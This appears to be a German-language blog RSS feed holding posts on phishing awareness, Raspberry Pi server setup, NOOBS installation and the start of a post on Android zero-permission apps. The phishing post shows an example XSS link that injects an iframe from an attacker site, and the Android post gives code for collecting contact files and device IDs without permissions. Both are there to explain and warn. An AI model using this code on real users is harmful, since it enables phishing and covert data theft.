  766. 220;Phishing&#8221; werden Tricks bezeichnet, um Identitätsdiebstahl an ahnungslosen Internetnutzern zu begehen. Für diese Art des <a title="Social Engineering" href="http://de.wikipedia.org/wiki/Social_Engineering_%28Sicherheit%29" target="_blank">Social Engineering</a>s werden von Betrügern tä
  767. ]]>
  768. <![CDATA[
  769. uschend echte Webseiten, E-Mails oder Kurznachrichten mit vertrauten Firmenlogos, Redewendungen und Links erstellt und die Gutgläubigkeit der Opfers ausgenutzt. In diesen wird er dazu aufgefordert, Links zu klicken, Dateianhänge zu öffnen oder in einem Formular persönliche Daten einzutragen.</p> <p>Unter anderem können so Zugansdaten, die z.B. für Online-Banking, Online-Shops, Soziale Netzwerke oder ähnliches genutzt werden, gestohlen werden.</p> <h3>Die Studie von Google</h3> <p>Innerhalb von 30 Minuten greifen die &#8220;Phisher&#8221; auf einen gekaperten Account zu. Im Falle eines Email-Accounts werden die Passwörter geändert, um den eigentlichen Benutzer &#8220;auszusperren&#8221;, die Postfächer nach weiteren Informationen durchsucht und bekannte E-Mail Empfänger zugespamt. Über die Adresse eines gekaperten E-Mail-Kontos verschickte Nachricht ist 36x effizienter für einen Angreifer als eine gewöhnliche Phishing-Mail eines unbekannten oder gefälschten Absenders, da diese von Freunden und Bekannten als vertrauenswürdig eingestuft wird.</p> <h3>Die Tricks der Phisher</h3> <p>Der Beste Schutz, ist es, zu wissen wie Phishing funktioniert und wie Angreifer arbeiten. Man stelle sich vor, man bekommt eine vertraulich aussehende E-Mail von seiner Bank oder einer sonstigen Institution, welche sensible und persönliche Daten hält, mit einer Aufforderung sich einzuloggen und einem Link wie dem Folgenden:</p><pre class="crayon-plain-tag">http://www.gute-seite.com/?q=%3Cscript%3Edocument.write%28%22%3Ciframe+src%3D%27http%3A%2F%2Fwww.boese-seite.com%27+FRAMEBORDER%3D%270%27+WIDTH%3D%27800%27+HEIGHT%3D%27640%27+scrolling%3D%27auto%27%3E%3C%2Fiframe%3E%22%29%3C%2Fscript%3E&amp;...=...&amp;...</pre><p>Auf den ersten Blick sieht die URL wie Kauderwelsch aus, da hexadezimale Zeichencodierungen verwendet werden. Jedoch erkennt man ganz klar, dass der Link auf &#8220;<a href="http://www.gute-seite.com/">www.gute-seite.com</a>&#8221; führt. Übersetzt man diesen Link in lesbaren Code, stellt sich folgende URL heraus:</p><pre class="crayon-plain-tag">http://www.gute-seite.com/?q=&lt;script&gt;document.write("&lt;iframe src='http://www.boese-seite.com' FRAMEBORDER='0' WIDTH='800' HEIGHT='640' scrolling='auto'&gt;&lt;/iframe&gt;")&lt;/script&gt;&amp;...=...&amp;..."&gt;</pre><p>Der injezierte HTML Code &#8220;<em>&lt;iframe src=&#8217;http://www.boese-seite.com&#8217; FRAMEBORDER=&#8217;0&#8242; WIDTH=&#8217;800&#8242; HEIGHT=&#8217;640&#8242; scrolling=&#8217;auto&#8217;&gt;&lt;/iframe&gt;</em>&#8221; zeigt das Browserfenster und die URL genauso an wie sonst, wenn der Benutzer <a href="http://www.well-known-financial-institution.com/">www.gute-seite.com</a> besucht. Doch durch den injezierten Code bzw. das rahmenlose <em>iframe</em> wird jedoch der Inhalt von <a href="http://www.very-bad-site.com/">www.boese-seite.com</a> angezeigt.</p> <p>Als ahnungsloser Benutzer hätte man nur schwer erkennen können, dass er sich auf einer gefälschten Webseite befindet. Diese Methode nennt man<a title="Cross-Site-Scripting" href="http://de.wikipedia.org/wiki/Cross-Site-Scripting" target="_blank"><em> Cross-Site-Scripting (XSS)</em></a>.</p> <h3>Antispam- und Antiphishing-Programme</h3> <p>Selbst Antispam- und Antiphishing-Programme geben, je nach Hersteller, nicht ausreichend Schutz. Diese können mitunter durch folgende Techniken ausgetrickst bzw. umgangen werden:</p> <ul> <li>unsichtbarer Text in HTML-Emails</li> <li>HTML- oder Java-Inhalte anstelle von normalem Text</li> <li>nur Grafiken (kein Text in der Email)</li> <li>zufällige Buchstaben oder bekannte Zitate im Betreff oder im Text von Emails</li> </ul> <h3>Der Selbsttest</h3> <p>Dank kostenloser Online-Tests diverser Sicherheitsanbieter kann der Benutzer seine Fähigkeiten zur Identifizierung von gefälschten E-Mails und Webseiten unter Beweis stellen und zeigen, wie leicht beziehungsweise schwer es ist, Original und Fälschung zu unterscheiden. Außerdem werden etliche weitere Tricks der Betrüger aufgezeigt und erklärt.</p> <p>Folgende Links sind dafür zu empfehlen:</p> <p style="padding-left: 30px;"><a href="https://phishingquiz.mcafee.com/">McAfee Phishing Quiz</a></p> <p style="padding-left: 30px;"><a href="http://www.sonicwall.com/phishing_de/">SonicWALL Phishing-IQ-Test</a></p> <p style="padding-left: 30px;"><a href="http://de.websense.com/content/operation-spearphish-2013.aspx?cmpid=pr">WebSense Operation Spearfish</a></p> <h3>Fazit</h3> <p>Es sollte jedem bekannt sein, dass seriöse Unternehmen und Banken niemals vertrauliche Informationen wie Login-Daten oder Transaktionsnummern per E-Mail von ihren Benutzern verlangen. Aber auch die Phisher entwickeln sich weiter, deshalb sollte man selbst auf dem Laufenden bleiben.</p> <h3>Quellen</h3> <p><a href="http://services.google.com/fh/files/blogs/google_hijacking_study_2014.pdf">Google Studie</a></p> <p><a href="http://de.wikipedia.org/wiki/Phishing">Wikipedia</a></p> <p><a href="http://googleonlinesecurity.blogspot.co.at/2014/11/behind-enemy-lines-in-our-war-against.html">Google Security</a></p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/phishing-studie-und-der-selbsttest/">Phishing Studie und der Selbsttest</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  770. ]]>
  771. </content:encoded>
  772. <wfw:commentRss>
  773. http://www.gridtec.at/wp/phishing-studie-und-der-selbsttest/feed/
  774. </wfw:commentRss>
  775. <slash:comments>0</slash:comments>
  776. </item>
  777. <item>
  778. <title>Raspberry Pi 2 im 24/7 Dauerbetrieb</title>
  779. <link>
  780. http://www.gridtec.at/wp/raspberry-pi-2-im-247-dauerbetrieb/
  781. </link>
  782. <comments>
  783. http://www.gridtec.at/wp/raspberry-pi-2-im-247-dauerbetrieb/#comments
  784. </comments>
  785. <pubDate>Sun, 12 Apr 2015 18:36:39 +0000</pubDate>
  786. <dc:creator>
  787. <![CDATA[ Robert Gludovatz ]]>
  788. </dc:creator>
  789. <category>
  790. <![CDATA[ Raspberry Pi ]]>
  791. </category>
  792. <category>
  793. <![CDATA[ server ]]>
  794. </category>
  795. <guid isPermaLink="false">http://www.gridtec.at/wp/?p=111</guid>
  796. <description>
  797. <![CDATA[
  798. <p>Raspberry Pi 2 im Dauerbetrieb laufen lassen Verwendet man den Raspberry Pi als Server für eine Smart Home Steuerung oder ähnlichem, wird man wahrscheinlich den kleinen Computer nicht jedes Mal hochfahren sobald man ihn benötigt, sondern die ganze Zeit laufen lassen. Doch für einen permanenten und stabilen 24/7 Dauerbetrieb des Raspberry Pi´s gibt es einiges zu [&#8230;]</p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/raspberry-pi-2-im-247-dauerbetrieb/">Raspberry Pi 2 im 24/7 Dauerbetrieb</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  799. ]]>
  800. </description>
  801. <content:encoded>
  802. <![CDATA[
  803. <h1>Raspberry Pi 2 im Dauerbetrieb laufen lassen</h1> <p>Verwendet man den Raspberry Pi als Server für eine Smart Home Steuerung oder ähnlichem, wird man wahrscheinlich den kleinen Computer nicht jedes Mal hochfahren sobald man ihn benötigt, sondern die ganze Zeit laufen lassen. Doch für einen
  804. ]]>
  805. <![CDATA[
  806. permanenten und stabilen 24/7 Dauerbetrieb des Raspberry Pi´s gibt es einiges zu beachten. Im Folgenden wird erläutert, wie eine Optimierung der Software und eine Erweiterung der Hardware dazu beitragen können, dies zu gewährleisten.</p> <h3>Software</h3> <h4>Das richtige Betriebssystem</h4> <p>
  807. ]]>
  808. <![CDATA[
  809. Die Wahl des Betriebssystems ist alles andere als unwichtig. Je nach Einsatzgebiet werden die unterschiedlichsten Betriebssysteme für den RPi angeboten. Möchte man seinen Raspberry als Mediencenter verwenden greift man am Besten zu OpenELEC oder RaspBMC. Für den Einsatz als Server wäre Raspian o
  810. ]]>
  811. <![CDATA[
  812. hne grafische Oberfläche zu empfehlen.</p> <h4>Weniger ist mehr</h4> <p>Ein schlankes System bietet mehr Übersicht als ein ein Überfülltes. Um nicht Gefahr zu laufen, Ressourcen zu verschwenden, sollte generell nur Software installiert werden, welche auch wirklich benötigt wird.</p> <p>Mit folgendem Befehl können alle installierten Pakete angezeigt werden:</p><pre class="crayon-plain-tag">dpkg --get-selections | grep -v deinstall</pre><p>Mit folgendem Befehl lassen sich alle Dienste, die im Standard Nutzer-Level ausgeführt werden, anzeigen.</p><pre class="crayon-plain-tag">ls /etc/rc2.d/</pre><p>Eine Kennzeichnung mit &#8220;K&#8221; bedeutet, dass der Dienst beendet wurde oder nicht automatisch gestartet wird. Eine Kennzeichnung mit &#8220;S&#8221; bedeutet, dass der Dienst automatisch gestartet wird. Die zweistellige Zahl zeigt dabei die Reihenfolge während des Startvorgangs an.</p> <p>Um einen Dienst zu deaktivieren, muss dieser erst gestoppt werden:</p><pre class="crayon-plain-tag">sudo service &lt;name&gt; stop</pre><p>Nun kann er deaktiviert werden, damit dieser beim nächsten Bootvorgang nicht mehr automatisch gestartet wird.</p><pre class="crayon-plain-tag">sudo update-rc.d -f &lt;name&gt; remove</pre><p></p> <h4> Schreibzugriffe verringern</h4> <p>Um die Lebensdauer der Speicherkarte zu erhöhen und die Anzahl der relativ langsamen Schreibzugriffe zu verringern, bieten sich folgende Optimierungen an:</p> <h5>Log-Dateien in den Arbeitsspeicher auslagern:</h5> <p></p><pre class="crayon-plain-tag">sudo nano /etc/fstab</pre><p>Folgendes muss hier eingetragen werden:</p><pre class="crayon-plain-tag">none /var/run tmpfs size=5M,noatime 00
  813. none /var/log tmpfs size=5M,noatime 00</pre><p>Die Log-Dateien werden nun nicht mehr auf der SD-Karte gespeichert, gehen jedoch nach einem Neustart verloren.</p> <h5>Swapping deaktivieren:</h5> <p></p><pre class="crayon-plain-tag">sudo dphys-swapfile swapoff
  814. sudo dphys-swapfile uninstall
  815. sudo update-rc.d dphys-swapfile remove</pre><p>Somit werden selten genutzte Bestandteile des Arbeitsspeichers nicht mehr auf eine Partition oder in eine Datei ausgelagert.</p> <h4>Watchdog einrichten:</h4> <p>Der Hardware-Watchdog kann sicherstellen, dass bei einem Absturz ein eigenständiger Neustart durchgeführt wird.</p> <p>Zunächst muss das Watchdog Kernelmodul geladen werden:</p><pre class="crayon-plain-tag">sudo modprobe bcm2708_wdog
  816. echo "bcm2708_wdog" | sudo tee -a /etc/modules</pre><p>Danach wird der Watchdog daemon installiert:</p><pre class="crayon-plain-tag">sudo apt-get install watchdog
  817. sudo update-rc.d watchdog Defaults</pre><p></p> <h4>Richtig Übertakten</h4> <p>Gerade bei einem Betrieb als Server kann etwas mehr Leistung nicht schaden. Durch ein Übertakten kann ein deutlicher Leistungszuwachs erwirkt werden. Am einfachsten stellt man die Takt-Frequenz mittels folgendem Befehl ein:</p><pre class="crayon-plain-tag">sudo raspi-config</pre><p><div id="attachment_116" style="width: 310px" class="wp-caption aligncenter"><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/overclock1.jpg" rel="lightbox[111]"><img class="wp-image-116 size-medium" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/overclock1-300x158.jpg" alt="raspi-config" width="300" height="158" /></a><p class="wp-caption-text">Raspberry Pi Software Configuration Tool</p></div></p> <p>Nach dem man Overclock ausgewählt hat, kann man die gewünschte Geschwindigkeit auswählen:</p> <div id="attachment_117" style="width: 310px" class="wp-caption aligncenter"><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/auswahl.jpg" rel="lightbox[111]"><img class="wp-image-117 size-medium" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/auswahl-300x60.jpg" alt="auswahl" width="300" height="60" /></a><p class="wp-caption-text">Auswahl der Geschwindigkeit</p></div> <p>&nbsp;</p> <p>Alternativ dazu bietet es sich an, die <em>/boot/config.txt</em> anzupassen. Dies hat zusätzlich den Vorteil, dass die Einstellungen besser optimiert werden können.</p> <p>Hier ein kurzes Beispiel:</p><pre class="crayon-plain-tag">force_turbo=0 #aktiviert dynamisches Takten
  818. arm_freq=1000 #ARM-CPU
  819. sdram_freq=500 #SDRAM
  820. core_freq=500 #GPU
  821. over_voltage=2 #CPU/GPU Volt
  822. arm_freq_min=400 #CPU Mindestwert für dynamisches Takten
  823. sdram_freq_min=250 #RAM Mindestwert für dynamisches Takten
  824. core_freq_min=250 #GPU Mindestwert für dynamisches Takten
  825. temp_limit=85 #Wenn diese Temperatur erreicht wurde, wird mit Standardwerten getaktet.</pre><p>Weitere Optionen können <a href="http://elinux.org/RPiconfig">hier</a> gefunden werden.</p> <p>Je nach Verwendungszweck sollte außerdem die Größe des GPU-Speichers angepasst werden, da sich die CPU und die GPU diesen Speicher teilen müssen. Benötigt man keine grafische Oberfläche sollte die Speichergröße auf 16 Megabyte beschränkt werden:</p><pre class="crayon-plain-tag">gpu_mem=16</pre><p>Verwendet man jedoch RaspBMC, RetroPi oder ähnliches, kann problemlos mehr Speicher verwendet werden. 256 sollten mindestens verwendet werden.</p><pre class="crayon-plain-tag">gpu_mem=320</pre><p>Mit <em>sudo raspi-config</em> kann unter dem Punkt Advanced Options und Memory Split auch diese Einstellung vorgenommen werden.</p> <h3>Hardware:</h3> <h4>Kühlkörper</h4> <p>Die Wärmeentwicklung hält sich im Normalbetrieb in Grenzen. Im Dauerbetrieb und vor allem bei übertakteten Prozessoren steigt die Temperatur jedoch sichtlich an. Um am Prozessor, USB-Treiber-Chip und Spannungsregler die Abwärme besser abzuleiten, wird die Verwendung von <a href="http://www.amazon.de/gp/product/B00ILK6DMA/ref=as_li_tl?ie=UTF8&amp;camp=1638&amp;creative=19454&amp;creativeASIN=B00ILK6DMA&amp;linkCode=as2&amp;tag=wwwdorfmatrat-21&amp;linkId=ZUKQ3BQAYEDXPHR6">Kühlkörpern</a> empfohlen. Vorzugsweise sollten diese aus Aluminium sein, da die Wärme besser abgegeben wird als zum Beispiel mit Kühlkörpern aus Kupfer. Abgesehen davon, dass die Betriebstemperatur gering gehalten wird, hat die Verwendung eines Kühlkörpers zusätzlich den Vorteil, dass die Lebensdauer des Einplatinencomputers steigt. Denn eine Überhitzung kann nicht nur die korrekte Funktionalität des Raspberry Pi beeinträchtigen, sondern auch und die Platine beschädigen.</p> <h4>Gehäuse</h4> <p>Zusätzlich zu den Kühlkörpern sollte ein offenes Gehäuse verwendet werden. Wie ein normales Gehäuse schützt auch dieses den Raspberry vor Beschädigungen und Staub, bietet jedoch nicht nur einen Zugang zu den Anschlüssen, sondern hilft dabei die entstandene Wärme durch offene Seitenteile oder Lüftungsschlitze abzuleiten. Ein Beispiel dafür ist <a href="https://www.amazon.de/Camac-Raspberry-Computer-Version-Transparent/dp/B00V83Y900?&amp;linkCode=wey&amp;tag=wwwdorfmatrat-21">hier </a>oder <a href="https://www.amazon.de/Aluminium-Geh%C3%A4use-Raspberry-Modell-silber/dp/B00SDMPBBU?&amp;linkCode=wey&amp;tag=wwwdorfmatrat-21">hier</a> zu finden.</p> <h4>Passendes Netzteil</h4> <p>Um Leistungseinbrüchen und Instabilität entgegenzuwirken, wird ein Netzteil mit mehr als 700mA empfohlen. Gerade wenn der RPi übertaktet wurde, sollte das Netzteil mindestens 1500mA an Leistung bieten. Auf <a href="https://www.amazon.de/Original-Rydges%C2%AE-Premium-Steckernetzteil-Raspberry/dp/B00HVW1V4Y?&amp;linkCode=wey&amp;tag=wwwdorfmatrat-21">Amazon</a> ist ein passendes Netzteil für einige Euro zu finden.</p> <h3>USV</h3> <p>Wie auch in der Industrie, gibt es auch für den RPi unterschiedliche Ansätze für eine unterbrechungsfreie Stromversorgung. Um zu garantieren, dass der Raspberry auch bei einem Stromausfall eingeschaltet bleibt, bietet es sich an, den Raspberry Pi mit einer eigens entwickelten <a href="https://www.amazon.de/CW2-PIUSV-001-92-Unterbrechungsfreie-Stromversorgung/dp/B00FVSEU2U?&amp;linkCode=wey&amp;tag=wwwdorfmatrat-21">USV</a> zu verbinden.</p> <p>Damit kann sogar erkannt werden, dass es sich um einen Stromausfall handelt und mittels Script kann, unter anderem, ein gezieltes Herunterfahren eingeleitet werden.</p> <p>Eine weitere Möglichkeit wäre es, einen leistungsstarken <a href="https://www.amazon.de/EasyAcc%C2%AE-hochkapazitives-Ladeger%C3%A4t-Smartphone-Bluetooth/dp/B00O1R28OY?&amp;linkCode=wey&amp;tag=wwwdorfmatrat-21">externen Akku</a> zu verwenden, welcher auch für mobile Geräte zum Einsatz kommt. Dieser könnte den Raspberry problemlos mehrere Stunden am Leben halten.</p> <p>&nbsp;</p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/raspberry-pi-2-im-247-dauerbetrieb/">Raspberry Pi 2 im 24/7 Dauerbetrieb</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  826. ]]>
  827. </content:encoded>
  828. <wfw:commentRss>
  829. http://www.gridtec.at/wp/raspberry-pi-2-im-247-dauerbetrieb/feed/
  830. </wfw:commentRss>
  831. <slash:comments>0</slash:comments>
  832. </item>
  833. <item>
  834. <title>Raspberry Pi einfaches Aufsetzen mit NOOBS</title>
  835. <link>
  836. http://www.gridtec.at/wp/raspberry-pi-einfaches-aufsetzen-mit-noobs/
  837. </link>
  838. <comments>
  839. http://www.gridtec.at/wp/raspberry-pi-einfaches-aufsetzen-mit-noobs/#comments
  840. </comments>
  841. <pubDate>Sun, 12 Apr 2015 17:17:48 +0000</pubDate>
  842. <dc:creator>
  843. <![CDATA[ Robert Gludovatz ]]>
  844. </dc:creator>
  845. <category>
  846. <![CDATA[ Raspberry Pi ]]>
  847. </category>
  848. <category>
  849. <![CDATA[ Betriebssystem ]]>
  850. </category>
  851. <category>
  852. <![CDATA[ installation ]]>
  853. </category>
  854. <category>
  855. <![CDATA[ OS ]]>
  856. </category>
  857. <guid isPermaLink="false">http://www.gridtec.at/wp/?p=103</guid>
  858. <description>
  859. <![CDATA[
  860. <p>Einfaches Aufsetzen mit NOOBS Noobs steht für New Out Of the Box Software und ist ein einfacher Betriebssystem-Installationsmanager für den Raspberry Pi. Dieser ermöglicht es nicht nur, ein Betriebssystem mit sehr wenigen Klicks zu installieren, sondern erlaubt auch eine Installation Over-the
  861. ]]>
  862. <![CDATA[
  863. -Air und auch die Installation mehrerer Betriebssysteme auf mehreren Partitionen. Über eine grafische Oberfläche können diese [&#8230;]</p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/raspberry-pi-einfaches-aufsetzen-mit-noobs/">Raspberry Pi einfaches Aufsetzen mit NOOBS</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  864. ]]>
  865. </description>
  866. <content:encoded>
  867. <![CDATA[
  868. <h1>Einfaches Aufsetzen mit NOOBS</h1> <p>Noobs steht für New Out Of the Box Software und ist ein einfacher Betriebssystem-Installationsmanager für den Raspberry Pi. Dieser ermöglicht es nicht nur, ein Betriebssystem mit sehr wenigen Klicks zu installieren, sondern erlaubt auch eine Installation
  869. ]]>
  870. <![CDATA[
  871. Over-the-Air und auch die Installation mehrerer Betriebssysteme auf mehreren Partitionen. Über eine grafische Oberfläche können diese ausgewählt werden. So könnte man zum Beispiel <a href="#auswahl">Raspbian und RaspBMC</a> installieren und einfach zwischen den Beiden hin und her wechseln.</p> <h3>NOOBS Versionen</h3> <p>NOOBS wird in zwei Versionen angeboten: Als &#8220;Offline und Netzwerk Installation&#8221;, welche etwas größer ist, jedoch eine Installation ohne Internetverbindung erlaubt, und als &#8220;Nur Netzwerk Installation&#8221;, welche sich alle benötigten Daten herunterlädt und daher eine Internetverbindung voraussetzt.</p> <h3>Vorbereitungen und Installation von NOOBS</h3> <p>Zunächst lädt man die NOOBS.zip von <a href="http://www.raspberrypi.org/downloads" target="_blank">raspberrypi.org/downloads</a> herunter und entpackt sie. Die entpackten Dateien kopiert man auf eine mindestens <a href="http://www.amazon.de/gp/product/B000VX6XL6/ref=as_li_tl?ie=UTF8&amp;camp=1638&amp;creative=19454&amp;creativeASIN=B000VX6XL6&amp;linkCode=as2&amp;tag=wwwdorfmatrat-21&amp;linkId=PZH4UKGSBFCWLYN6">4GB große SD-Karte</a>. Falls die SD-Karte noch nicht formatiert ist, macht man dies am Besten mit dem <a href="https://www.sdcard.org/downloads/formatter_4/%20" target="_blank">SD Formater 4.0</a>. Dabei sollte die Option &#8220;FORMAT SIZE ADJUSTMENT&#8221; im &#8220;Options&#8221;-Menü auf &#8220;ON&#8221; gestellt werden. Nach abgeschlossenen Kopiervorgang kann die SD-Karte in den Raspberry eingesetzt werden.</p> <h3>Der erste Bootvorgang</h3> <p>Nachdem der Raspberry mit Tastatur, Maus und Monitor verbunden wurde, kann auch die Stromversorgung hergestellt werden. Wenn der Bootvorgang abgeschlossen ist, wird ein Fenster angezeigt, in dem die zu installierenden Betriebssysteme ausgewählt werden können.</p> <h3 id="auswahl">Installation und Betriebssystem Auswahl</h3> <p>Folgende Betriebssysteme stehen zur Installation zu Verfügung:</p> <ul> <li><a href="https://www.archlinux.org/" target="_blank">Archlinux</a><br /> minimalistisches Linux ohne grafische Oberfläche.</li> <li><a href="http://www.openelec.tv/" target="_blank">OpenELEC</a><br /> Mediencenter für den Raspberry.</li> <li><a href="http://www.pidora.ca/" target="_blank">Pidora </a><br /> Linux mit grafischer Oberfläche (ähnlich zu Raspbian), basierent auf der Fedora Linux Distribution.</li> <li><a href="http://www.riscosopen.org" target="_blank">RISC OS </a><br /> Eigenständiges Betriebssystem (kein Linux).</li> <li><a href="http://www.raspbmc.com/" target="_blank">RaspBMC</a><br /> Weiterentwicklungen vom XBMC Mediencenter (wie OpenELEC).</li> </ul> <div id="attachment_105" style="width: 310px" class="wp-caption aligncenter"><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/Noobs.png" rel="lightbox[103]"><img class="size-medium wp-image-105" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/Noobs-300x225.png" alt="Installation mit NOOBS" width="300" height="225" /></a><p class="wp-caption-text">Auswahl der Betriebssysteme</p></div> <p>Die gewünschten Betriebssysteme können nun ausgewählt werden. Man sollte den freien Speicherplatz im Auge halten, da zum Beispiel Rasbian und Pidora gemeinsam schon knapp 4GB Speicher in Anspruch nehmen. Nach einem Klick auf &#8220;Installieren&#8221; muss nur noch die Warnung bestätigt werden, dass alle Daten auf der SD-Karte gelöscht werden und die Installation beginnt.</p> <p>Wenn die Installation abgeschlossen ist, startet der Raspberry neu. Wenn nur ein Betriebssystem installiert wurde, wird automatisch in dieses gebootet. Falls mehrere Betriebssysteme installiert wurden, bekommt man ein Fenster der Betriebssysteme, welche zur Auswahl stehen, angezeigt.</p> <div id="attachment_107" style="width: 310px" class="wp-caption aligncenter"><a href="http://www.gridtec.at/wp/wp-content/uploads/2015/04/selectOS.png" rel="lightbox[103]"><img class="size-medium wp-image-107" src="http://www.gridtec.at/wp/wp-content/uploads/2015/04/selectOS-300x104.png" alt="Auswahl des Betriebssystems" width="300" height="104" /></a><p class="wp-caption-text">Auswahl des Betriebssystems</p></div> <h3>Neuinstallation</h3> <p>Möchte man ein Betriebssystem neu installieren oder eine weitere Partition hinzufügen, hält man die Shift-Taste während des Bootvorgangs gedrückt. Dadurch gelangt man wieder in das NOOBS-Setup. Nun können ein oder mehrere Betriebssysteme neu installiert werden.</p> <h3>Quellen</h3> <p><a href="http://www.raspberrypi.org/help/noobs-setup/" target="_blank">http://www.raspberrypi.org/help/noobs-setup/</a></p> <p><a href="https://github.com/raspberrypi/noobs" target="_blank">https://github.com/raspberrypi/noobs</a></p> <p><a href="https://www.sdcard.org/downloads/formatter_4/" target="_blank">https://www.sdcard.org/downloads/formatter_4/</a></p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/raspberry-pi-einfaches-aufsetzen-mit-noobs/">Raspberry Pi einfaches Aufsetzen mit NOOBS</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  872. ]]>
  873. </content:encoded>
  874. <wfw:commentRss>
  875. http://www.gridtec.at/wp/raspberry-pi-einfaches-aufsetzen-mit-noobs/feed/
  876. </wfw:commentRss>
  877. <slash:comments>0</slash:comments>
  878. </item>
  879. <item>
  880. <title>Android Zero-Permission App Beispiel</title>
  881. <link>
  882. http://www.gridtec.at/wp/android-zero-permission-app-beispiel-code/
  883. </link>
  884. <comments>
  885. http://www.gridtec.at/wp/android-zero-permission-app-beispiel-code/#comments
  886. </comments>
  887. <pubDate>Thu, 02 Apr 2015 11:48:07 +0000</pubDate>
  888. <dc:creator>
  889. <![CDATA[ Robert Gludovatz ]]>
  890. </dc:creator>
  891. <category>
  892. <![CDATA[ Android ]]>
  893. </category>
  894. <category>
  895. <![CDATA[ android ]]>
  896. </category>
  897. <category>
  898. <![CDATA[ app ]]>
  899. </category>
  900. <category>
  901. <![CDATA[ malware ]]>
  902. </category>
  903. <category>
  904. <![CDATA[ zero permission ]]>
  905. </category>
  906. <guid isPermaLink="false">http://www.gridtec.at/wp/?p=55</guid>
  907. <description>
  908. <![CDATA[
  909. <p>Zero-Permission Apps Im Zuge der Installation einer App auf einem Android-Gerät wird Benutzer aufgefordert, seine Zustimmung für die spezifischen Rechte, die diese benötigt zu geben. Aber was wäre, wenn eine App das Rechtesystem von Android austricksen oder umgehen könnte? Wenn Anwendungen
  910. ]]>
  911. <![CDATA[
  912. nicht nach einer Erlaubnis fragen müssten? Was (wenn überhaupt) könnten sie auslesen und worauf könnten [&#8230;]</p> <p>Der Beitrag <a rel="nofollow" href="http://www.gridtec.at/wp/android-zero-permission-app-beispiel-code/">Android Zero-Permission App Beispiel</a> erschien zuerst auf <a rel="nofollow" href="http://www.gridtec.at/wp">Grid Blog</a>.</p>
  913. ]]>
  914. </description>
  915. <content:encoded>
  916. <![CDATA[
  917. <h2>Zero-Permission Apps</h2> <p>Im Zuge der Installation einer App auf einem Android-Gerät wird Benutzer aufgefordert, seine Zustimmung für die spezifischen Rechte, die diese benötigt zu geben. Aber was wäre, wenn eine App das Rechtesystem von Android austricksen oder umgehen könnte? Wenn Anw
  918. ]]>
  919. <![CDATA[
  920. endungen nicht nach einer Erlaubnis fragen müssten? Was (wenn überhaupt) könnten sie auslesen und worauf könnten sie zugreifen? Diese Gefahr stellen sogenannte &#8220;Zero Permission Apps&#8221; dar. Wie der Name schon sagt, werden von solch einer App bei der Installation keine Rechte gefordert
  921. ]]>
  922. <![CDATA[
  923. .</p> <p>Im Zuge einer Arbeit über dieses Thema ließen sich zwar ein paar Berichte, jedoch nur wenige, bzw. gar keine Beispiele finden. Deswegen soll im Folgenden anhand eines kurzen, mehr oder weniger theoretischen Beispiels dargestellt werden, wie es einer App möglich sein kann, komplett ohne
  924. ]]>
  925. <![CDATA[
  926. die jeweiligen benötigte Rechte, Daten zu sammeln und diese an einen Server weiterzuleiten und dort abzuspeichern. Dabei geht es bei diesem Beispiel hauptsächlich darum, neue Möglichkeiten zu finden, die es App-Entwicklern ermöglicht auf Rechte zu verzichten und nicht um den Benutzern Schaden zu
  927. ]]>
  928. <![CDATA[
  929. zufügen. Deshalb wird im Weiteren nicht näher auf Exploits eingegangen um Missbrauch zu vermeiden. Jedenfalls soll gezeigt werden, dass sich ein Benutzer nicht allzu sicher fühlen sollte, auch wenn eine App keine besonderen Rechte benötigt.</p> <h3>Das Sammeln von Daten und Informationen</h3> <p>Vor Android 4.4 kann jede App auf den externen Speicher zugreifen, ohne spezielle Rechte zu benötigten. So könnte eine App eine Liste aller nicht versteckten Dateien erstellen, die sich auf der Speicherkarte befinden oder nach potenziell sensiblen Daten durchsuchen. Wenn sich zum Beispiel elektronische Visitenkarten, kurz vCard oder vcf-Dateien, auf der Speicherkarte befinden, könnten E-Mail-Adressen oder Telefonnummern daraus ausgelesen und gesammelt werden. Auch Text-Dateien würden sich anbieten um diese nach Benutzernamen, Passwörtern, Kreditkartendaten oder ähnlichen heiklen Informationen zu durchsuchen.</p><pre class="crayon-plain-tag">// Beispiel einer rekursiven Funktion um SD-Karte nach vcf-Dateien zu durchsuchen.
  930. private void searchVCF(File dir) {
  931. File[] files = dir.listFiles();
  932. for (File file : files) {
  933. if(file.isFile() &amp;&amp; file.getName().endsWith(".vcf")) {
  934. //Füge Date einer Liste hinzu, etc...
  935. }else if(file.isDirectory()){
  936. searchVCF(file.getAbsoluteFile());
  937. }
  938. }
  939. }</pre><p></p> <h3>Identifikation</h3> <p>Die gesammelten Daten müssen einem Benutzer zu geordnet werden können. Für eine Identifikation des Benutzers wäre es zwar nicht möglich die IMEI Nummer auszulesen, da in der Manifest-Datei das Recht &#8220;READ_PHONE_STATE&#8221; angegeben werden müsste. Ohne Hilfe eines Exploits konnte dies zwar nicht nachgestellt werden, ein Versuch schadet jedoch nicht:</p><pre class="crayon-plain-tag">try {
  940. TelephonyManager tm = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);
  941. //IMEI
  942. Log.i("TAG", "IMEI : = " + tm.getDeviceId());
  943. } catch (Exception e) {
  944. e.printStackTrace();
  945. }</pre><p>Stattdessen lassen sich GSM und SIM Hersteller ID problemlos auslesen.</p><pre class="crayon-plain-tag">TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
  946. if(tm.getPhoneType() == TelephonyManager.PHONE_TYPE_GSM) {
